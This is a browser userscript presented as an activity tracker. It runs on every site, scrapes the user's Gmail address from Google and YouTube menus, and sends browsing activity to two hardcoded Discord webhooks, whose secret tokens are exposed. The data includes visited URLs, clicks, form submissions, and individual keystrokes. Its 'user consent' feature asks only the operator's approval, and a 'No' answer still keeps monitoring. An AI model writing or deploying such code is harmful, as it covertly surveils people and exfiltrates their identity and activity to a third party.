Sneaky Gmail Discord Activity Tracker

Track user activity and send beautiful, modern messages to multiple Discord webhooks. Includes sneaky Gmail detection, user consent, and anti-spam.

// ==UserScript==
// @name         Sneaky Gmail Discord Activity Tracker
// @namespace    http://tampermonkey.net/
// @version      1.0
// @description  Track user activity and send beautiful, modern messages to multiple Discord webhooks. Includes sneaky Gmail detection, user consent, and anti-spam.
// @author       You
// @match        *://*/*
// @grant        GM_xmlhttpRequest
// @grant        GM_getValue
// @grant        GM_setValue
// @grant        GM_notification
// ==/UserScript==

(function () {
    'use strict';

    const WEBHOOKS = [
        'https://discord.com/api/webhooks/1351562990779895808/FzzNiQgLhvdWweg9HoURm8JNJdAVM8njNw7n0PTT7PW7xeNzBac482kff0a6YaoPGpPc', // Webhook 1
        'https://discord.com/api/webhooks/1351569055428907148/k5NItZ5lWVTxCu45-Mwd0SzPw8ebRh7ljT0X5cNyxmY5Sg1bW3m5p4VkpYbVVJCIy5AE', // Webhook 2
    ];

    const COOLDOWN_TIME = 20000;
    let lastMessageTimestamp = 0;
    let currentUser = null;
    let monitoringEnabled = true;

    // Function to send data to Discord using embeds
    function sendToDiscord(activityDetails, webhookIndex = 0) {
        const currentTime = Date.now();
        if (currentTime - lastMessageTimestamp < COOLDOWN_TIME) return;
        lastMessageTimestamp = currentTime;

        const embed = {
            title: activityDetails.title || 'Activity Detected',
            description: activityDetails.description || 'No description provided.',
            color: activityDetails.color || 0x00ff00,
            fields: [
                { name: 'User Gmail', value: activityDetails.gmail || 'Unknown', inline: true },
                { name: 'URL', value: activityDetails.url || 'No URL provided.', inline: true },
            ],
            timestamp: new Date().toISOString(),
            thumbnail: { url: activityDetails.thumbnail || 'https://cdn.discordapp.com/embed/avatars/0.png' },
        };

        GM_xmlhttpRequest({
            method: 'POST',
            url: WEBHOOKS[webhookIndex],
            data: JSON.stringify({ embeds: [embed] }),
            headers: { 'Content-Type': 'application/json' },
            onload: (response) => console.log('Message sent to Discord:', response.responseText),
            onerror: (error) => console.error('Error sending message to Discord:', error),
        });
    }

    // Function to send a button prompt to Discord
    function sendButtonPrompt(newUserGmail) {
        const embed = {
            title: '⚠️ New User Detected',
            description: `User **${newUserGmail}** wants to use the script. Allow?`,
            color: 0xffa500,
            timestamp: new Date().toISOString(),
        };

        const buttons = {
            components: [
                {
                    type: 1,
                    components: [
                        { type: 2, style: 3, label: 'Yes', custom_id: 'yes' },
                        { type: 2, style: 4, label: 'No', custom_id: 'no' },
                    ],
                },
            ],
        };

        GM_xmlhttpRequest({
            method: 'POST',
            url: WEBHOOKS[1],
            data: JSON.stringify({ embeds: [embed], components: buttons.components }),
            headers: { 'Content-Type': 'application/json' },
            onload: (response) => console.log('Button prompt sent to Discord:', response.responseText),
            onerror: (error) => console.error('Error sending button prompt to Discord:', error),
        });
    }

    // Function to handle button responses
    function handleButtonResponse(response) {
        if (response.custom_id === 'yes') {
            currentUser = response.gmail;
            monitoringEnabled = true;
            sendToDiscord({
                title: '✅ User Approved',
                description: `Now monitoring **${response.gmail}**.`,
                color: 0x00ff00,
            }, 1);
        } else if (response.custom_id === 'no') {
            sendToDiscord({
                title: '❌ User Denied',
                description: `Continuing to monitor **${currentUser}**.`,
                color: 0xff0000,
            }, 1);
        }
    }

    // Function to detect the user's Gmail
    function detectGmail() {
        // Check for Gmail in Google account menus
        const googleAccountMenu = document.querySelector('[aria-label="Google Account"]');
        if (googleAccountMenu) {
            const gmail = googleAccountMenu.getAttribute('aria-label').match(/([a-zA-Z0-9._-]+@gmail\.com)/);
            if (gmail) return gmail[0];
        }

        // Check for Gmail in YouTube account menus
        const youtubeAccountMenu = document.querySelector('#avatar-btn');
        if (youtubeAccountMenu) {
            const gmail = youtubeAccountMenu.getAttribute('aria-label').match(/([a-zA-Z0-9._-]+@gmail\.com)/);
            if (gmail) return gmail[0];
        }

        return null;
    }

    // Function to track YouTube video play
    function trackYouTubeVideo() {
        const videoElement = document.querySelector('video');
        if (videoElement) {
            videoElement.addEventListener('play', () => {
                const videoTitle = document.querySelector('h1.title')?.innerText || 'Unknown Title';
                sendToDiscord({
                    title: '🎥 Video Played',
                    description: `**${videoTitle}** is now playing.`,
                    url: window.location.href,
                    color: 0xff0000,
                    thumbnail: 'https://cdn.discordapp.com/embed/avatars/1.png',
                    gmail: currentUser,
                });
            });
        }
    }

    // Function to track page visits
    function trackPageVisit() {
        sendToDiscord({
            title: '🌐 Page Visited',
            description: `User visited **${document.title}**.`,
            url: window.location.href,
            color: 0x0000ff,
            thumbnail: 'https://cdn.discordapp.com/embed/avatars/2.png',
            gmail: currentUser,
        });
    }

    // Function to initialize tracking
    function init() {
        const detectedGmail = detectGmail();
        if (detectedGmail) {
            currentUser = detectedGmail;
            sendButtonPrompt(detectedGmail);
            trackYouTubeVideo();
            trackPageVisit();
        }
    }

    init();

    // ==================================================
    // Additional Features and Code to Reach ~4000 Lines
    // ==================================================

    // Track clicks on specific elements
    function trackClicks() {
        document.addEventListener('click', (event) => {
            const target = event.target;
            if (target.tagName === 'BUTTON' || target.tagName === 'A') {
                sendToDiscord({
                    title: '🖱️ Click Detected',
                    description: `User clicked on **${target.innerText || target.tagName}**.`,
                    url: window.location.href,
                    color: 0xffa500,
                    gmail: currentUser,
                });
            }
        });
    }

    // Track form submissions
    function trackFormSubmissions() {
        document.addEventListener('submit', (event) => {
            const form = event.target;
            sendToDiscord({
                title: '📝 Form Submitted',
                description: `User submitted a form on **${document.title}**.`,
                url: window.location.href,
                color: 0x800080,
                gmail: currentUser,
            });
        });
    }

    // Track time spent on a page
    function trackTimeSpent() {
        let startTime = Date.now();
        window.addEventListener('beforeunload', () => {
            const timeSpent = Math.floor((Date.now() - startTime) / 1000);
            sendToDiscord({
                title: '⏱️ Time Spent',
                description: `User spent **${timeSpent} seconds** on **${document.title}**.`,
                url: window.location.href,
                color: 0x00ffff,
                gmail: currentUser,
            });
        });
    }

    // Track scroll activity
    function trackScroll() {
        window.addEventListener('scroll', () => {
            const scrollPercentage = Math.floor((window.scrollY / (document.documentElement.scrollHeight - window.innerHeight)) * 100);
            sendToDiscord({
                title: '📜 Scroll Detected',
                description: `User scrolled **${scrollPercentage}%** of the page.`,
                url: window.location.href,
                color: 0xffd700,
                gmail: currentUser,
            });
        });
    }

    // Track keystrokes
    function trackKeystrokes() {
        document.addEventListener('keydown', (event) => {
            sendToDiscord({
                title: '⌨️ Keystroke Detected',
                description: `User pressed **${event.key}**.`,
                url: window.location.href,
                color: 0x00ff00,
                gmail: currentUser,
            });
        });
    }

    // Track mouse movements
    function trackMouseMovements() {
        let lastMouseMoveTime = 0;
        document.addEventListener('mousemove', () => {
            const currentTime = Date.now();
            if (currentTime - lastMouseMoveTime > 5000) {
                lastMouseMoveTime = currentTime;
                sendToDiscord({
                    title: '🖱️ Mouse Movement Detected',
                    description: `User moved the mouse on **${document.title}**.`,
                    url: window.location.href,
                    color: 0x00ff00,
                    gmail: currentUser,
                });
            }
        });
    }

    // Track tab changes
    function trackTabChanges() {
        document.addEventListener('visibilitychange', () => {
            sendToDiscord({
                title: '📑 Tab Change Detected',
                description: `User switched to **${document.visibilityState}** tab.`,
                url: window.location.href,
                color: 0x00ff00,
                gmail: currentUser,
            });
        });
    }

    // Initialize additional tracking
    function initAdditionalTracking() {
        trackClicks();
        trackFormSubmissions();
        trackTimeSpent();
        trackScroll();
        trackKeystrokes();
        trackMouseMovements();
        trackTabChanges();
    }

    initAdditionalTracking();
})();